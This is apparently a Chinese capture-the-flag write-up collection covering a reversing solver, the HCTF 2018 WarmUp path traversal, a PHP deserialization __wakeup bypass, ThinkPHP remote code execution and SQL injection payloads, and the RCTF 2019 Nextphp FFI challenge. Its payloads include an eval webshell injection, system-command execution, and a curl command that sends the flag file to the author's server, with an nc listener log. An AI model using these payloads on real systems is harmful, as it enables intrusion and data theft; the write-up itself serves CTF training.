    memcpy_s(a, 36, "flag{1111111111111111111111111111}\0\0", 36);

    sub_1400011C0((DWORD*)ans, -9, unk_1400032A0);
    std::cout << ans;
    return 0;
}

flag{H0P3_U_L1k3_Th15_CUP_0f_TEa.}

[HCTF 2018]WarmUp

Ctrl+U查看源码,找到source.php,发现hint.php,点进去后告诉你flag位置。
source.php:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

审计代码,只要把问号转义成%3F即可
payload

source.php%3F/../../../../ffffllllaaaagggg

[极客大挑战 2019]PHP

DirSearch 429 Too Many Requests,所以参考了别人的wp,根目录下有/www.zip
审计index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

发现有反序列化玩。
代码审计

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            // echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}

注意到,我们要绕过__wakeup
2024-07-10T07:17:33.png

1._wakeup()函数的定义:
__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

2._wakeup()函数的作用:
__wakeup()方法的目的是在对象反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。这个方法可以用来初始化一些无法在序列化字符串中保存的成员变量、建立数据库连接、重新计算缓存数据等。

4._wakeup()函数的绕过:
(1)当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}

(2)使用C绕过

使用C代替O能绕过_wakeup(),但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容

注意:使用C绕过有版本要求
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。                      
原文链接:https://blog.csdn.net/m0_63138919/article/details/132545718

补充一个知识点

注意:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
同理 如果定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会生效。

显然payload是

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[ThinkPHP]2-Rce

https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce
我们使用payload
http://node5.buuoj.cn:27766/index.php?s=/a/a/a/${@eval($_POST[1])}
然后蚁剑
2024-06-26T12:08:35.png
最后通过webshell,拿下env中的flag
2024-06-26T12:08:57.png

  • 注意,如果直接在payload里面写字符串,好像是过不了的。

[ThinkPHP]5-Rce

https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
则payload:

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env

[ThinkPHP]5.0.23-Rce

https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env

2024-06-26T12:18:51.png

[ThinkPHP]IN SQL INJECTION

https://github.com/vulhub/vulhub/blob/master/thinkphp/in-sqlinjection
直接使用给的payload就可以了
http://node5.buuoj.cn:28336/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

[RCTF 2019]Nextphp

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

看一下当前目录
?a=var_dump(scandir(%22.%22));

array(2) { [0]=> string(9) "index.php" [1]=> string(11) "preload.php" }

highlight一下
index.php?a=highlight_file(%22preload.php%22);
代码审计

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

然后就没有什么头绪了,看了下别人的wp:
FFI扩展

<?php
$ffi = FFI::cdef("int system(const char *command);");    
$ffi->system("echo Hello World>./ttmp");    
echo file_get_contents("./ttmp");
//输出结果为Hello World
?>

触发条件

触发条件
如果在php配置文件中开启了ffi.enable=preload,那么FFI中opcache.preload参数指定脚本能够调用FFI,而用户写的函数是没有办法直接调用的。翻看phpinfo,也确实指定了preload.php能够调用FFI。

2024-06-26T12:57:43.png

?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:4555');
[root@xnnpzy ~]# nc -vv -l -p 4445
Listening on any address 4445 (upnotifyp)
Connection from 117.21.200.176:61031
POST / HTTP/1.1
Host: ***************:4445
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

flag{bd8fa2ea-cb43-4afd-85e0-87bf4adf628c}Total received bytes: 195
Total sent bytes: 0

补充:curl -d @FILE_NAME IP:ADDR 可以读取文件FILE_NAME
2024-06-26T13:13:44.png
2024-06-26T13:13:55.png